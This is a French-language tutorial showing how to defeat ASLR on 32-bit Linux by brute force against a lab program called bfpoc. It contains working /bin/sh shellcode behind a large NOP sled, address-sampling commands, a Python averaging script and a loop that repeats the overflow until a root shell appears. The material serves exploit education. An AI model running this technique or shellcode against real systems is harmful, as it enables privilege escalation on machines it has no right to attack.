Advanced Buffer Overflow – Bypass ASLR (32 bits)

Dans le cours d’introduction aux Buffer Overflows et à GDB, je vous ai parlé de quelques sécurités système qui si elles n’empêchent pas d’exploiter ce type de vulnérabilités, compliquent énormément la tâche des hackers…

Je vous invite à lire, et relire ces quelques articles avant de parcourir cette brève :

ASLR

L’une de ces sécurités est désignée par l’acronyme barbare ASLR (Address Space Layout Randomization). Le principe de cette sécurité est de placer les zones mémoires comme la Stack, le segment BSS, ou le Heap à des endroits aléatoires différents à chaque nouvelle exécution du programme…

Et ça, lorsque l’on essaye de viser un tout petit exploit de 23 octets sur plusieurs millions d’adresses possibles sur une architecture 32 bits et plusieurs milliards sur une architecture 64 bits… Bah c’est la merde.

Deux solutions existent, soit vous la jouez fine… Soit vous construisez un exploit avec une NOPSled assez grosse pour vous permettre de bruteforce en espérant tomber un jour dans votre exploit… Ce qui est finalement une stratégie tout à fait valable sur une architecture 32 bits dont le range d’adresses mémoires est relativement limité. Voyons donc la seconde méthode !

Viking Theory

blood-stain-miniTrès bien bande de bourrins, avant de présenter la méthode raffinée dans un prochain papier, on va commencer par smasher de la stack à grand coup de trique dans la tronche histoire de bien se défouler. Attention, la poésie est morte et enterrée, pas de manipulations chirurgicales, retour à la bonne vieille saignée, c’est parti pour la double pédale à 250bpm façon Deicide.

Pour réaliser cette attaque brutale, jouons à docteur Frankenstein et donnons vie à une scandaleuse créature, un corps énorme pour une tête minuscule, une NOPSled de 120k instructions pour un shellcode de 23 octets, vous imaginez la bête ?

Et si par miracle on tombe finalement dessus, il nous suffira de surfer sur ses ondulants bourrelets pour atteindre sa minuscule caboche : notre exploit lançant /bin/sh.

user1@kali:~$ export exploit=$(python -c 'print "\x90"*120000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

En réalité nos chances sont plutôt bonnes ! Si vous lancez notre programme vulnérable bfpoc avec l’outil ltrace, vous remarquerez qu’il n’y a finalement pas trop de variation dans l’adresse du pointer… Ce qui est plutôt une bonne chose réduisant drastiquement le nombre de possibilités probables :

user1@kali:~$ ltrace ./bfpoc $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"') 2>&1 | grep "strcpy(0"
strcpy(0xff8472b0, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 0xff8472b0
user1@kali:~$ ltrace ./bfpoc $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"') 2>&1 | grep "strcpy(0"
strcpy(0xffdebce0, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 0xffdebce0
user1@kali:~$ ltrace ./bfpoc $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"') 2>&1 | grep "strcpy(0"
strcpy(0xffd0b140, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 0xffd0b140
user1@kali:~$ ltrace ./bfpoc $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"') 2>&1 | grep "strcpy(0"
strcpy(0xffddfd80, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 0xffddfd80
user1@kali:~$ ltrace ./bfpoc $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"') 2>&1 | grep "strcpy(0"
strcpy(0xff990340, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 0xff990340

dicesSi l’on considère, au vu de nos observations, le début de l’adresse 0xffd comme à peu près fixe, il nous reste finalement plus qu’un nombre hexadécimal à 5 digits  à deviner. Soit 1 048 575 possibilités… Une broutille, une bagatelle, rien, nada, quetchi, quedal !

Oui, car il faut rapporter ce nombre à la longueur de notre NOPSled de 120 000 octets :  120 000/10 48 575 = 0,114… Soit environ 10% de chance de tomber dans l’espace de la stack réservé pour notre variable gargantuesque. Finger In the Nose!

Même en étant pessimiste, si l’on considère que seul 0xff est acquis, cela ne nous fait “que” 16 777 215 possibilités. Soit 120 000/16 777 215=0,007… Presque 1% de chance de tomber dans notre NOPSled !

Franchement, jeter un dé des centaines de fois, on pourrait presque faire ça à la main ! Mais bon, soyons des vikings en smoking, daignons scripter un peu histoire de faire semblant de bosser !

Une idée serait par exemple de récupérer 1 000 fois consécutivement l’adresse de la variable buffer[128] afin de faire la moyenne des adresses “les plus crédibles” :

user1@kali:~$ for i in {1..1000}; do ltrace ./bfpoc $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"') 2>&1 | grep -E "^strcpy" | sed s/'strcpy('// | cut -d "," -f 1 >> aslr-analyse.txt; done

En Python pour les maths ça donne un truc comme ça :

from struct import *
address = 0x00
count = 0
with open("aslr-analyse.txt") as f:
 for line in f:
 count+=1
 address += int(line,16)

print hex(address/1000)

Ce qui donnerait sur ma machine une moyenne de 0xffbdd617… Construisons donc notre Buffer Overflow avec cette adresse fraîchement récupérée, puis exécutons le programme en boucle jusqu’à tomber sur notre exploit :

user1@kali:~$ count=0; while true; do ./bfpoc $(python -c 'print "a"*140+"\x17\xd6\xbd\xff"'); ((count++)); echo $count  ; done
[0] main() Start here.
[1] Calling funcMyLife().
[2] funcMyLife() Start here.
[3] Variable buffer declaration.
[4] Calling strcpy(). <= [Vulnerability]
Message : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaֽ�
[5] funcMyLife() end at the next instruction (ret).
Erreur de segmentation

1
[...]
92

 [0] main() Start here.
 [1] Calling funcMyLife().
 [2] funcMyLife() Start here.
 [3] Variable buffer declaration.
 [4] Calling strcpy(). <= [Vulnerability]
Message : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaֽ�
 [5] funcMyLife() end at the next instruction (ret).
# whoami
 root

Fus Ro Dah ! Il a suffit de 92 essais pour récupérer un shell root, plutôt efficace non ?